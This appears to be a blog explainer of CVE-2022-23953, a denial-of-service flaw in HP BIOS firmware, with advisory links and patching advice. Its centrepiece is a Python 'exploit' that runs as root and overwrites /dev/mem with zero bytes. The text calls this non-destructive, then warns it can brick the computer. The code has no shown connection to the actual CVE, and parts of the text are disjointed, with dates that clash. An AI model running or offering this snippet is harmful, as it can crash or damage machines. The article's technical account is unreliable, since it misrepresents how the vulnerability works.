In February 2022, HP published a security bulletin targeting a potential weakness found in BIOS for select HP computers—labeled as CVE-2022-23953. While technical documents can be hard to understand, this guide will break things down into simple terms, provide direct references, and give insight into how a real-world attacker might use this flaw.

What is CVE-2022-23953?

CVE-2022-23953 refers to a security bug in the firmware (BIOS) of various HP laptops and desktops. This vulnerability allows an attacker to trigger a Denial of Service (DoS) attack—making your computer unusable or unstable, usually by forcing it to crash, reboot, or hang.

Affected Products: Multiple HP notebook and desktop models

HP's Official Advisory:  
https://support.hp.com/us-en/document/ish_5694748-5694883-16

National Vulnerability Database Entry:  
https://nvd.nist.gov/vuln/detail/CVE-2022-23953

How Does the Exploit Work?

Firmware vulnerabilities usually require either local access to your computer (like someone sitting at your desk), or sometimes can be triggered remotely with special software.

Example: Denial of Service via Malformed Firmware Request

Below is a conceptual Python snippet that uses the os module to write directly to a device file representing the BIOS firmware. Note: This is a non-destructive, educational example to show how a low-level write might look. The actual exploit would be more sophisticated, using specific undocumented commands.

import os

def dos_bios():
    # Simulated device path - actual BIOS device path may differ by OS and machine
    bios_path = '/dev/mem'  # On Linux, physical memory (including BIOS) can be mapped here

    # Malicious payload (random or malformed firmware data)
    payload = b'\x00' * 1024  # Example: filling with zeros

    try:
        # Need root/admin privileges to write to BIOS
        with open(bios_path, 'wb') as bios:
            bios.write(payload)
        print("Payload delivered to BIOS (simulation).")
    except PermissionError:
        print("Permission denied. Try running as administrator/root.")
    except Exception as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    dos_bios()

Warning:
*Writing directly to /dev/mem or any BIOS device can brick (destroy) your computer. Do not try this on your own machine.*

You’re locked out or your device becomes unreliable and unusable.

Because these attacks target the BIOS, regular antivirus software might not catch them.

How to Stay Safe

- Apply BIOS Updates: Check HP’s official support page for urgent BIOS updates for your model.
- Don’t run scripts/email attachments you don’t trust.

Disable built-in administrator accounts or password-protect your BIOS.

- Monitor HP advisories: HP Security Bulletins

Original References

- HP Security Bulletin: Potential vulnerabilities in the BIOS for some HP PC products
- NVD Entry for CVE-2022-23953
- Full List of Affected Models

In Summary

CVE-2022-23953 shows how even modern laptops and desktops can still be crippled by flaws in their lowest-level software. If you have an HP device, check for and install critical BIOS firmware updates. Even though this bug was patched, similar threats may still appear, so keep your machine secure and stay informed!

*If you want more details, see HP’s own FAQ and confirmed fix procedures at their security portal.*

Timeline

Published on: 03/02/2022 21:15:00 UTC
Last modified on: 03/10/2022 13:35:00 UTC